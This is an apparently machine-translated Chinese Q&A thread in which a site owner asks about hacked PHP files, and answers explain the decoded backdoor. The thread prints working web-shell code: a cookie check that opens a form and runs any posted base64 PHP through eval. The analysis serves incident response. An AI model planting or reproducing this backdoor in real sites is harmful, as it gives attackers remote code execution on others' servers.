2012-04-09 23 views
0

我在我们的Web服务器上发现了一些破解文件。我设法去混淆他们一点 - 他们似乎都具有解码成块,看起来像一个部分:找到PHP破解文件 - 帮助解码和识别

if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} 

但这块(上述解码)通常被嵌入到一个更大的代码段。我已经在这里共享了其中一个文件的代码:http://pastie.org/3753704

我可以看看代码在哪里,但绝对不是PHP的专家,可以使用一些帮助来更具体地计算出它是什么做或启用。此外,如果任何人碰巧熟悉这种黑客攻击,任何有关它如何工作的信息以及黑客可能隐藏的后门和其他组件的位置都将非常有用,并且非常感谢。

我试图代码的谷歌的部分,看看其他人报告,但只有想出了这个链接:http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla

谢谢!

回答

3

如果cookie“v”设置为“d”,则在窗体中显示textarea。提交表单时,请在textarea中执行代码。

<?php 
if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){ 
    if (!empty($_POST['c'])) { 
     echo '<textarea rows=28 cols=80>'; 
     $d=base64_decode(str_replace(' ','+',$_POST['c'])); 
     if($d) 
      @eval($d); 
     echo '</textarea>'; 
    } 
    echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>'; 
    exit; 
} 
?> 
+0

现货。它为您的网站提供了一个textarea表单字段,允许他们在提交表单时执行任意PHP代码。他们所要做的就是将代码键入/粘贴到textarea中并提交。 – 2012-04-09 05:34:54

+0

是的,这就是我在上面粘贴在我的帖子中的去混淆代码中看到的。谢谢你的解释。如果你看一下Pastie的链接,你会发现这是preg_replace语句的一部分,我想知道整个事情在做什么。 – akc 2012-04-09 05:35:26

+0

除了用PHP代码替换字符串'tmsqyhxndrp'之外,preg_replace没有任何用处。也许它只是作为一个额外的层(无用)混淆? – 2012-04-09 05:45:35

0

不是这个具体的破解,但this post中的一些建议可能会有所帮助。具体来说,访问日志可能会显示问题来自哪里。